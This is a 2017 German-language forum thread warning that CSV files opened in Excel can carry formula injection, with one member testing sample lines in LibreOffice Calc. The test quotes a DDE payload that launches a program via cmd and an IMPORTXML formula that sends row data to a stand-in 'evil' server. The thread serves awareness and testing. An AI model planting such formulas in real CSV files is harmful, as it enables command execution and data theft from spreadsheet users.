lochkartenstanzer
Goto Top

CSV-Import in Excel mit Code-Injection!

http://georgemauer.net/2017/10/07/csv-injection.html

Nur damit niemand denkt, da kann ja nicht viel passieren.

Auch bei CSV-Dateien, sollte man genau hinsehen, wo die Datei herkommt und ob sie "sauber" ist.

lks

Content-Key: 351284

Url: https://administrator.de/contentid/351284

Printed on: April 16, 2024 at 11:04 o'clock

Member: em-pie
em-pie Oct 10, 2017 at 13:03:26 (UTC)
Goto Top
Interessant!

Ich muss gestehen, da habe ich mir bis Dato noch nie so wirklich Gedanken zu gemacht. Vermutlich aber auch, weil wir/ ich das Gros der csv-Dateien nicht zum Öffnen in Excel nutzen, sondern (mit einer anderen Endung) als Export des Systems A und dann als Import des Systems B nutzen....

Gruß
em-pie
Member: Penny.Cilin
Penny.Cilin Oct 10, 2017 at 15:26:35 (UTC)
Goto Top
Oha, da stimme ich @em-pie vollkommen zu.

Bezugnehmend zu dessen Kommentar, also CSV-Dateien am besten mit dem Notepad oder einem vergleichbaren Editor öffnen. Muss ich jetzt mal nachprüfen, ob dies auch unter LibreOffice / OpenOffice Calc genauso funktioniert.
Wobei ich mal davon ausgehe. Ich werde berichten.

@Lochkartenstanzer
Danke für den Hinweis.

Gruss Penny
Member: Penny.Cilin
Penny.Cilin Oct 10, 2017 at 15:54:24 (UTC)
Goto Top
Hallo zusammen,

mein erster Test mit LibreOffice Calc v5.2.7.2 als Anwender gestartet, zeigt mir, daß die Zeile
2,2017-07-25,Important Client,"=2+5", 240  
berechnet wird. Soweit, so gut.

Die anderen Zeilen wie folgend aufgeführt
2,2017-07-25,Important Client,"=2+5+cmd|' /C calc'!A0", 240  
2,2017-07-25,Important Client,"=IMPORTXML(CONCAT(""http://some-server-with-log.evil?v="", CONCATENATE(A2:E2)), ""//a"")",240  
erzeugen jeweils einen Fehlercode.
Soweit zumindest mein erster schneller Test.